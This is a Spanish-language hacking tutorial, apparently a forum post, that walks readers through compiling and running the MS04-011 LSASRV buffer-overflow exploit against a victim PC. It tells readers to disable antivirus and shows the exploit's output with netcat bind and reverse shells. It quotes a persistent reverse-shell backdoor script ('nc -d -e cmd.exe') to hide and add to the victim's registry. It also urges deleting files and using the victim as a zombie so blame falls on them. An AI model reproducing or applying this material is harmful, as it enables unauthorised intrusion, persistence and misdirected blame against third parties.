Si se fijan aqui nos dice que el nombre del archivo es HOD-ms04011-lsasrv-expl.c
Cabe decir que todos los codigos fuentes que esten programados en C, nos los encontraremos con la extensión .c o si se tratan de C++ lo mas seguro es que los veamos como .cpp o .c++
Una vez hecho esto ya saben que hacer, borraremos el codigo fuente que nos creara el compilador y colocaremos el codigo fuente que les puse en este texto.
Antes de compilar vamos a hechar un vistaso al codigo fuente del programa para distinguir varios aspectos, como podran observar nuestro compilador nos cambiara el color de las letras dependiendo de la accion que se trate o en su caso de la funcion a la que se refiera el codigo.
Al comienzo veran que las letras se ven un poco opacas de un tono gris, esto es debido a que se tratan de comentarios en el codigo fuente y no afectan para nada a nuestro programa ¿y como los ubicamos? Es sencillo, si queremos agregar un comentario a lo largo de solo una linea de codigo nos bastara con colocar dos diagonales
de modo que todo lo que se escriba de su lado derecho no afectara el codigo fuente de un programa, o si vamos a utilizar muchos renglones lo usual es que coloquemos un
Al comienzo del primer renglón y un
Al final del ultimo renglón, de este modo todo lo que se encuentra dentro de estas dos señales quedara como un comentario.
¿y para que nos sirven los comentarios?
Su principal funcion es que nos ayuden a comprender el codigo fuente de modo que si tenemos muchas funciones, podriamos colocar un comentario diciendo que es lo que hace esa funcion asi, si en un futuro observamos el codigo fuente nos sera mas rapido comprender que era lo que estabamos pensando al momento de crear nuestro programa.
En el caso de los exploits es muy comun encontrarlos con las instrucciones de uso en las primeras lineas a manera de comentarios, como lo podemos observar en este eploit viene la forma en que se ejecuta asi como tambien dice quien lo creo y ademas tambien nos dice en que sistemas operativos fue testeado (probado o utilizado).
Ahora vamos a compilar nuestro exploit… (ya saben presiones F9 y listo)
Como pudieron observar al compilarlo nos marcara bastantes errores y es aquí donde pensaremos que el codigo fuente no funciona, que los he estafado o en el peor de los casos que su compilador ya no sirve y necesitan volverlo a instalar, no se procupen que esto es normal por que en realidad nos hace falta “linkear” la librería llamada “ws2_32”, y ¿Cómo se que se tiene que linkear dicha librería? Si ponemos atención en el codigo fuente, para ser exactos en la linea 75 dice algo asi (Nota: al poner el puntero en una linea automáticamente el compilador detecta que numero de linea es y nos lo dice en la parte inferios izquierda de la ventana):
#pragma comment(lib, "ws2_32")
Siempre que encontremos una sintaxis parecida se referira a que tenemos que linkear dicha librería, ahora bien para hacerlo primero tenemos que irnos al menú:
Proyecto – Opciones de proyecto
En la ventana que nos abrira nos desplazamos hasta la pestaña que dice “Argum…” alli se podran ver tres recuadros, en este caso el que nos interesa es el que dice “Enlazador(Linker)”, en la parte inferior veremos un boton que dice “Agregar librería u objeto” le damos un clic y a continuación en la ventana que nos abrira deberemos de buscar en nuestra computadora la librería llamada ws2_32, si hicimos una instalacion del Dev-C++ y dimos clic en la opciones predeterminadas deberan de desplazarse hasta C:\Dev-Cpp\lib y alli seleccionar la librería llamada libws2_32.a ahora en la ventana anterior les debera de aparecer algo como esto:
Ahora que dimos en aceptar nos devolvera a donde esta nuestro codigo fuente, antes de que lo compilen debo de hacer algunas aclaraciones, al momento de terminarlo de compilar obtendremos un ejecutable de un exploit (un .exe) el cual es detectado por todos los antivirus como un “virus” o tambien como un “hack tool” dependiendo del antivirus que tengamos instalado inclusive hay algunos que desde el momento de descargar codigo fuente y guardarlo con la extensión .c nos estara molestando diciendo que es un virus y que tiene que eliminarlo.
Siempre que nos encontremos una herramienta de este tipo por Internet y la queramos descargar a nuestro equipo el antivirus nos advertira y no nos dejara utilizarlo.
Digo esto por que ya nos han tocado bastantes comentarios del tipo:
- me descargue un troyano de tu pagina y mi norton me dice que tiene un virus con lo cual deduzco que quieres joderme metiendome un virus a mi computadora y hacerme explotar el disco duro.
Respuesta: un troyano es en realidad un virus y siempre tu antivirus te va a advertir de el aunque no lo hayas ejecutado aun.
- ¿Por que siempre que me bajo un exploit y lo ejecuto no pasa nada?
Respuesta: lo mas seguro es que tu antivirus te lo inutilizo justo al momento de que lo descargaste debido a que te detecto que es un virus.
- ¿Por que cuando me bajo un zip con el exploit siempre aparece una carpeta vacia?
Respuesta: esto es debido a que justo en el momento de que lo descomprimes tu antivirus te los elimina.
Los exploits y virus son herramientas con las cuales puedes entrar a otras computadoras y como consecuencia son dañinas para terceras personas y como la mision de los antivirus es mantener los equipos en buen estado pues es logico que los van a eliminar.
Asi de que ya saben, antes de continuar desactiven su antivirus.
Ahora vamos a compilar y ejecutar nuestro exploit (ya saben presionen F9) y podran observar como una ventanita negra se abre y se cierra rapidamente, esto es a que deberemos de ejecutarlo por medio de una ventana de DOS.
Primero que nada nos desplazamos hasta donde guardamos el codigo fuente del programa (donde nos pregunto el compilador que lo queriamos guardar), una vez alli podremos observar un ejecutable con el nombre que le pusimos a nuestro proyecto, en mi caso yo le puse exploit y por lo tanto me encontrare con una archivo llamado exploit.exe, lo voy a mover de lugar para ejecutarlo mas fácilmente, lo corto y lo pego en la raiz de mi disco duro.
Ahora abrimos una consola de DOS (ya saben como, inicio – ejecutar – y escribimos “cmd” sin las comillas).
Una vez alli me desplazo hasta la raiz de mi disco duro (basta con teclear “cd \”), tecleamos el comando dir para mostrar los archivos que alli se encuentran y verificar que se encuentra nuestro exploit, ahora solo tenemos que teclear el nombre de nuestro exploit y ver que hace:
Como podran observar en la parte que dice “Usage” nos dice como hacerle para ejecutarlo:
ploit <target> <victim IP> <bindport> [connectback IP] [options]
Si son curiosos abran notado que en los comentarios del mismo exploit nos dice todo esto e inclusive nos da un ejemplo.
Para que quede un poco mas claro como se usa este exploit lo vamos a utilizar en contra de un equipo que tengo por aquí en esta misma red, recuerden que el hecho de que yo lo este utilizando en una red no quiere decir que solo se limite a ser usado en redes, sino que tambien puede ser usado con victimas que se encuentran conectadas en Internet solo que si lo vamos a utilizar en contra de un equipo que se encuentra en Internet deberemos de averiguar su IP Publica y si estan conectados a Internet por medio de una router tendremos que mapear los puertos (si no habeis entendido estos conceptos, lee un poco mas arriba que ya se explico las diferencias entre una ip publica y una ip privada asi como tambien se explico como mapear los puertos a varios routers).
Una vez hechas las aclaraciones comencemos con la parte practica en el uso de este exploit.
Escenario:IP del equipo atacante (ese soy yo):
192.168.1.2IP del equipo victima:
192.168.1.10Pues como lo unico que se de mi equipo victima es la ip, sera necesario que averiguemos que sistema operativo tiene para poder utilizar el exploit, para ello ejecutamos:
exploit 0 192.168.1.10 6000 –t
en donde yo puse 0 pueden colocar 1 si quieren asi como tambien donde yo puse 6000 ustedes pueden colocar el puerto que quieran de todas formas en este caso solo lo hacemos para averiguar que sistema operativo tiene, en mi caso me devuelve “Windows 5.1”
C:\>exploit 1 192.168.1.10 6000 -t
MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
--- Coded by .::[ houseofdabus ]::. ---
[*] Target: IP: 192.168.1.10: OS: Win2k Professional [universal] netrap.dll
[*] Connecting to 192.168.1.10:445 ... OK
[*] Detecting remote OS: Windows 5.1
por lo tanto se trata de un Windows xp, asi de que ya sabemos que “target” utilizar, cera el 0 (para los que esten algo perdidos, hasta ahora solo he deducido de lo que el mismo exploit me ha dicho asi como tambien de las opciones que sacamos cuando lo ejecutamos solo miren la imagne que esta un poco mas arriba).
En el caso de este exploit tenemos dos formas de ejecutarlo y lograr acceso a la victima, una es por medio de conexión directa y otra es por medio de una conexión inversa, la diferencia entre una y otra es que en la primera, nosotros nos tenemos que conectar al equipo victima por medio de un puerto que nos pondra a la escucha y en la segunda opcion el equipo victima se conectara a nosotros pero para ello primero tenemos que tener un netcat a la escucha en el puerto que vayamos a utilizar, hare las dos forma para que quede un poco mas claro.
CONEXIÓN DIRECTAEn esta forma primero que nada deberemos de ejecutar el exploit con de la siguiente forma(recuerden que yo utilizare el 0 por que se trata de un winxp):
exploit 0 192.168.1.10 6000
una vez ejecutado nos apareceran esto:
C:\>exploit 0 192.168.1.10 6000
MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
--- Coded by .::[ houseofdabus ]::. ---
[*] Target: IP: 192.168.1.10: OS: WinXP Professional [universal] lsass.exe
[*] Connecting to 192.168.1.10:445 ... OK
[*] Attacking ... OK
Después de que diga “Attacking … OK” solo deberemos de conectarnos a la victima con nuestro netcat en el puerto que elegimos (yo use el 6000).
Si no tienen el netcat lo pueden descargar del siguiente link:
http://safariexamples.informit.com/0201719568/Misc/Netcat/NT/nc11nt.zipSi el link no funciona para cuando lean esto solo denle una pequeña buscada en google y seguro no tardaran nada.
Si quieren saber un poco mas sobre esta maravillosa herramienta les recomiendo lean los siguientes links:
http://foro.elhacker.net/index.php/board,15/action,display/threadid,15859.htmlhttp://foro.elhacker.net/index.php/topic,58032.0.htmlMuy bien, ahora que ya tenemos el netcat solo basta con ejecutarlo para conectarnos a la victima con el comando :
y con esto ya tendran una bonita shell remota con privilegios de system como podemos observar en la siguiente imagen:
Como pueden observar una vez ejecutado el comando del netcat me coloco el puntero dentro de la carpeta “C:\Windows\system32” y es por ello que se deduce que me dio una shell de comandos remota con privilegios de system, de lo contrario en caso de que me hubiera dejado en la carpeta “C:\Documents and Settings\usuario” queria decir que obtuve una shell con los mismos privilegios del usuario que estaba utilizando el equipo en ese momento.
Nota: Recuerden que para poder ejecutar el netcat necesitan abrir una ventana de DOS en Windows y desde alli ejecutar las opciones (inicio – ejecutar – cmd) pero primero tienen que encontrarse en la carpeta que contiene el ejecutable del netcat(nc.exe) o en el mejor de los casos descarguen el netcat y coloquendo dentro de C:\Windows\System32 y asi ya lo podran ejecutar desde cualquier directorio en la linea de comandos.
CONEXIÓN INVERSAEsta forma es casi igual de sencilla que la anterior solo que esta vez necesitaremos poner primero un netcat a la escucha en nuestro equipo, para ello abrimos una ventana de DOS y ejecutamos el comando:
y dejamos esa ventana abierta.
Ahora abrimos otra ventana para ejecutar el exploit pero esta vez colocaremos el siguiente comando:
exploit 0 192.168.1.10 6000 192.168.1.2
recuerden que mi ip es 192.168.1.2, en su caso deberan de poner la ip que ustedes tengan y tambien tienen que tomar en cuenta que si ustedes se conectan a Internet por medio de una red, primero deberan de mapear el puerto que vayan a utilizar en el router (explico como hacer eso un poco mas arriba no sean flojos y leando).
Si todo salio bien les ocurrira lo mismo que a mi, observen la siguiente imagen:
La ventana que se enuentra en la parte superior es en la que puse en el netcat a la escucha y la ventana que se encuentra en la parte inferios fue en la que ejecute el exploit, como pueden observar justo después de ejecutar el exploit obtuve la shll remota del equipo victima en la otra ventana asi de que ahora ya tengo control absoluto de sus sistema.
Bueno bueno… hasta aquí todo muy bonito pero muchos se preguntaran ¿ya tengo la shell remota y ahora que hago? Pues si no tienen mucha imaginación lo mejor sera que cierren la ventana y mejor se vayan a dormir xD… si ya han leido varios textos de hacking sabran que ya estamos en la gloria por que tenemos control absoluto del sistema pero no por ello debemos de abusar ya que si hacemos algo que pudiera alertar al usuario de dicho pc lo mas seguro es que apague la computadora y como consecuencia ya no tendremos acceso, ademas siempre que logremos ingresar a un sistema lo mejor es crearse una puerta trasera para después volver a entrar cuando nos plasca sin necesidad de volver a realizar todos los pasos que hasta aquí hemos realizado.
Para crear una puerta trasera lo que podemos hacer es subirle un troyano a su pc y nosotros mismos ejecutarselo ademas después de todo tenemos una shell remota asi de que no necesitamos la intervención del usuario para ejecutarlo.
Otra opcion seria ponerle un netcat a la escucha y asi nosotros nos podemos conectar a dicho pc cuando queramos, aquí explico como hacer eso y varias cosillas mas:
http://foro.elhacker.net/index.php/topic,58032.0.htmlExisten varias formas de hacerlo, otro metodo por medio de netcat que es bastante ingenioso y original es uno explicado por
skilled aquí lo pongo a manera de cita:
Bueno posteo mi forma de dejar un backdoor reverse shell:
Creo el siguiente bat:
@echo off
:svr
nc -d -e cmd.exe x.x.x.x 3333>nul
ping -n 60 localhost>nul
goto svr
Si ejecuto el siguiente bat intentara la conexion a x.x.x.x aproximadamente cada minuto creando un bucle infinito.
(Podemos quitar la linea del ping para que intente la conexion infinitamente).
El problema de la ejecución de este backdoor es el cuadro de dialogo de secuencia de comandos. Para poder ocultarlo compilamos el bat con quick batch file compiler triando la opcion ghost application para que oculte el cuadro.
Finalmente añadimos el exe en el registro de la victima y con tansolo poner en nuestra shell: nc -vv -l -p 3333 obtendremos su shell, y si cerramos la conexion la podremos volver a obtener del mismo metodo.
Nose si alguien ya utilizo este metodo.. yo solo he visto utilizar backdoors revere shell con comandos at. Bueno espero que sirva igual.
Ya que tenemos una puerta trasera pues quizas nos queramos divertir un poco asi de que… ¿Por qué no tomamos control absoluto de su escritorio? Si si, asi como se escucha, que nosotros desde nuestra computadora podamos ver su escritorio y ademas tambien le podamos mover su puntero como si del nuestro se tratara, si quieren hacer eso les recomiendo lean el siguiente post:
http://foro.elhacker.net/index.php/topic,41671.0.htmlSi lo unico que quieren es subirle y bajarle archivos, pues nada mejor que TFTP (mas arriba explico como se usa), tambien podriamos matarle procesos y asi quizas se asustaria un poco pensando que el pc se ha vuelto loco, tambien pueden moverle sus archivos, copiarlos o eliminarlos si lo desean o si lo prefieren y quieren ser un poco mas discretos pues le apagan el pc con el comando “shutdown” con la opcion -s desde la shell remota y vuala se tendra que ir a dormir sin terminar de chatear con sus amigos.
Ya siendo un poco mas malos lo mejor seria utilizar dicho pc como zombie de modo que nos sirviera de puente para entrar a otros pcs, asi si alguien nos pilla entrando a alguna otra computadora o haciendo algo indevido en un sitio web, pues la culpa recaira sobre la ip que ingreso a dicha web y como en este caso no fuimos nosotros sino nuestra victima manipulada por nosotros pues ve tu a decirme quien saldra mal…